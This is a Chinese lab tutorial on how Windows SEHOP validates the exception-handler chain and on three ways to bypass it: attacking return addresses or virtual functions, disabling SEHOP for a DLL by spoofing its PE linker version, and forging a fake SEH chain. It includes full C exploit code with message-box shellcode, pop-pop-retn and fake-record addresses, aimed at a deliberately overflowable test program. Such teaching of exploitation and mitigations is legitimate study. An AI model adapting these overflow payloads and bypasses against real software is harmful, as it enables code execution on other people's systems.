S.E.H 终极防护:SEHOP

[toc]

SEHOP 的原理

SEHOP(Structured Exception Handling Overwrite Protection),它在 Windows Server 2008 默认启用,而在 Windows Vista 和 Windows 7 中 SEHOP 默认是关闭的。

启用 SEHOP 有以下两种方式:

( 1)下载 http://go.microsoft.com/?linkid=9646972 的补丁,此补丁适用于 Windows 7 和 Windows Vista SP1。 ( 2)在注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel 下面找到 DisableExceptionChainValidation 项, 将该值设置为 0,即可启用 SEHOP。

image-20220628135200328

程序中的各 S.E.H 函数是以单链表的形式存放于栈中的,而在这个链表的末端是程序的默认异常处理,它负责处理前面 S.E.H 函数都不能处理的异常。

image-20220628135450912

SEHOP 的核心任务是检查这条 S.E.H 链的完整性,在程序转入异常处理前 SEHOP 会检查 S.E.H 链上最后一个异常处理函数是否为系统固定的终极异常处理函数。如果不是,则不会执行当前异常处理函数。

其验证代码如下:

if (process_flags & 0x40 == 0) { //如果没有 SEH 记录则不进行检测
    if (record != 0xFFFFFFFF) { //开始检测
        do {
            if (record < stack_bottom || record > stack_top)// SEH 记录必须位于栈中
            	goto corruption;
            if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
            //SEH 记录结构需完全在栈中
            	goto corruption;
            if ((record & 3) != 0) //SEH 记录必须 4 字节对齐
            	goto corruption;
            handler = record->handler;
            if (handler >= stack_bottom && handler < stack_top)
            //异常处理函数地址不能位于栈中
            	goto corruption;
            record = record->next;
            } while (record != 0xFFFFFFFF); //遍历 S.E.H 链
        
        if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
            if (handler != &FinalExceptionHandler)//核心检测,地球人都知道,不解释了
                goto corruption;
        }
    }
}

image-20220628140148529

攻击时,将 S.E.H 结构中的异常处理函数地址覆盖为跳板指令地址,跳板指令根据实际情况进行选择。当程序出现异常的时候,系统会从 S.E.H 链中取出异常处理函数来处理异常,异常处理函数的指针已经被覆盖,程序的流程就会被劫持,在经过一系列跳转后转入 shellcode 执行。由于覆盖异常处理函数指针时同时覆盖了指向下一异常处理结构的指针,这样的话 S.E.H 链就会被破坏,从而被 SEHOP 机制检测出。

SEHOP 检查是在 SafeSEH 的 RtlIsValidHandler 函数校验前进行的,也就是说利用攻击加载模块之外的地址、堆地址和未启用 SafeSEH 模块的方法都行不通了,必须要考虑其他的出路。理论上我们还有三种方法: ( 1)不去攻击 S.E.H,而是攻击函数返回地址或者虚函数等。 ( 2)利用未启用 SEHOP 的模块。 ( 3)伪造 S.E.H 链

攻击返回地址

这种方法需要一定的运气。如果您能够碰到一个程序,他启用了 SEHOP 但是未启用 GS,或者启用了 GS 但是刚好被攻击的函数没有 GS 保护,什么都不要多说了,直接攻击函数返回地址。

攻击虚函数

无论 SEHOP 有多么的强大,它保护的也只是 S.E.H,对于 S.E.H 以外的东西是不提供保护的。所以我们依然可以通过攻击虚函数表来劫持程序流程,这个过程不涉及任何异常处理。之前我们做过,在此就不过多介绍了。

利用未启用 SEHOP 的模块

在程序的编译属性里没有提供禁用 SEHOP 这个选项,但是出于兼容性的考虑还是对一些程序禁用了 SEHOP,如经过 Armadilo 加壳的软件。

操作系统会根据 PE 头中 MajorLinkerVersion 和 MinorLinkerVersion 两个选项来判断是否为程序禁用 SEHOP。可以将这两个选项分别设置为 0x53 和 0x52 来模拟经过 Armadilo 加壳的程序,从而达到禁用 SEHOP 的目的。

禁用 SEHOP 后,还需要搞定 SafeSEH,所以我们在 “利用未启用 SafeSEH 模块” 实验基础上完成演示。

推荐使用的环境备 注
操作系统Windows 7
EXE 编译器Visual Studio 2008
DLL 编译器VC++ 6.0将 dll 基址设置为 0x11120000
系统 SEHOP启用
程序 DEP关闭
程序 ASLREXE 随意, DLL 禁用
编译选项禁用优化选项
build 版本release 版本

实验步骤

编译一个不启用 SafeSEH 的 DLL。

我们在《亡羊补牢:SafeSEH》中介绍过,这里就不过多赘述,直接放出源码。

//SEH_NOSafeSEH_JUMP.DLL
#include"stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
	return TRUE;
}
void jump()
{
    __asm{
    		pop eax
	    	pop eax
    		retn
    }
}
//SEH_NOSafeSEH.EXE
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;

DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);	
	__asm int 3
    int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
	char str[200];
	__asm int 3
	test(shellcode);
	return 0;
}

为 SEH_NOSaeSEH_JUMP.dll 禁 用 SEHOP

用 CFF Explorer 打开 SEH_NOSaeSEH_JUMP.dll 后在 Optional header 选项页中来进行设置,分别将 MajorLinkerVersion 和MinorLinkerVersion 设置为 0x53 和 0x52。

image-20220628122629316

对主程序进行一定的修改

(1)修改弹出对话框的 shellcode,让其可以在 windows 7下正常弹出。

windows xp下的SafeSEH windows xp下的SafeSEH

windows 7下的SafeSEH windows 7下的SafeSEH

由于在 Windows 7 下 PEB_LDR_DATA 指向加载模块列表中第二个模块位置被 KERNELBASE.dll 占据, kernel32.dll 的位置由第二个变为第三个,所以要对 shellcode 做出相应修改。在原来 shellcode 的第 52 个字节之后插入 “\x8B\x09”,该机器码对应的汇编语句为MOV ECX,[ECX],来让程序多跳转一次,定位到 kernel32.dll。修改后的对话框 shellcode 如下。

Shellcode=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为 mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

(2)禁用程序的 DEP,通过取消程序的/NXCOMPAT 链接选项。

image-20220628130325139

伪造 S.E.H 链表

实验原理

image-20220628142531628

为了提高溢出的成功率,我们在本实验中关闭系统的 ASLR,因为伪造 S.E.H 链时需要用到 FinalExceptionHandler 指向的地址。所以这里只讨论这种方法理论上的可行性。

伪造 S.E.H 链绕过 SEHOP 所需条件: ( 1)图 14.5.1 中的 0xXXXXXXXX 地址必须指向当前栈中,而且必须能够被 4 整除。 ( 2) 0xXXXXXXXX 处存放的异常处理记录作为 S.E.H 链的最后一项,其异常处理函数指针必须指向终极异常处理函数。 ( 3)突破 SEHOP 检查后,溢出程序还需搞定 SafeSEH。

为了避免实验过于复杂,本次实验我们在 “利用未启用 SafeSEH 模块绕过 SafeSEH” 的基础 上 进 行 , 所以不用再考虑 SafeSEH 的问题,只需确定 0xXXXXXXXX 的值和 FinalExceptionHandler 指向的地址。

实验代码:

#include"stdafx.h"
#include<string.h>
#include<windows.h>
char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x14\xFF\x12\x00"//address of last seh record
    "\x68\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09"
    "\x8B\x09"//在这增加机器码\x8B\x09,它对应的汇编为 mov ecx,[ecx]
    "\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
    "\xFF\xFF\xFF\xFF"// the fake seh record
    "\x75\xA8\xF7\x77"
    ;
DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    memcpy(str,input,412);
    int zero=0;
    __try
    {
    	zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
    char str[200];
    test(shellcode);
    return 0;
}

实验思路:

( 1)通过未启用 SafeSEH 的 SEH_NOSaeSEH_JUMP.dll 来绕过 SafeSEH。 ( 2)通过伪造 S.E.H 链,造成 S.E.H 链未被破坏的假象来绕过 SEHOP。 ( 3) SEH_NOSafeSEH 中的 test 函数通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 S.E.H 信息。 ( 4)使用 SEH_NOSafeSEH_JUMP.DLL 中的 “pop pop retn” 指令地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理。通过劫持异常处理流程,程序转入 SEH_NOSaeSEH_JUMP.DLL 中执行“pop pop retn” 指令,在执行 retn 后程序转入 shellcode 执行。

推荐使用的环境备 注
操作系统 WWindows 7
EXE 编译器Visual Studio 2008
DLL 编译器VC++ 6.0将 dll 基址设置为 0x11120000
系统 SEHOP启用
程序 DEP关闭
系统 ASLR关闭
编译选项禁用优化选项
build 版本release 版本

说明:实验中的 FinalExceptionHandler 指向的地址可能在您的系统中会有所变化

实验步骤

先启用 SEHOP

把 MajorLinkerVersion 和 MinorLinkerVersion 的值分别设为 0x06 和 0x00,排除上一个实验的影响。 image-20220628145516662

确定 FinalExceptionHandler 指向的地址

用 OllyDbg 加载好程序后直接观察堆栈的底部就可以看到 FinalExceptionHandler 指向的地址,本次实验中地址为 0x770DAB2D。

image-20220628151551454

伪造 S.E.H 链

先看一下 S.E.H 的覆盖情况

按 F9 键让程序运行,程序会在除零异常发生时中断。

image-20220628152251152

由上图可得,str[]的起始地址为 0x0012FD80。

image-20220628152504174

位于 0x0012FE58 处的栈顶异常处理记录已经被覆盖为 0x90909090,S.E.H 链已经被破坏。前面需用 216 个 0x90 填充。

确定伪造的异常处理记录放置位置

首先,不能直接使用程序自带的终极异常处理记录,因为该记录位于 0x0012FFE4,它作为机器码被执行时,会影响程序正常运行,您可自行调试观察一下。

不如在距离弹出对话框机器码结束最近的内存放置伪造的异常处理记录,当然这个地址不仅可以被 4 整除而且还不能影响程序的执行,本次实验选择 0x0012FF14。

部署 shellcode

image-20220628180107496

char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x14\xFF\x12\x00"//address of last seh record
    "\x68\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09"
    "\x8B\x09"//在这增加机器码\x8B\x09,它对应的汇编为 mov ecx,[ecx]
    "\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
    "\xFF\xFF\xFF\xFF"// the fake seh record
    "\x75\xA8\xF7\x77"
    ;

编译运行,就能看到 ”failwest“ 对话框了。

image-20220628175704598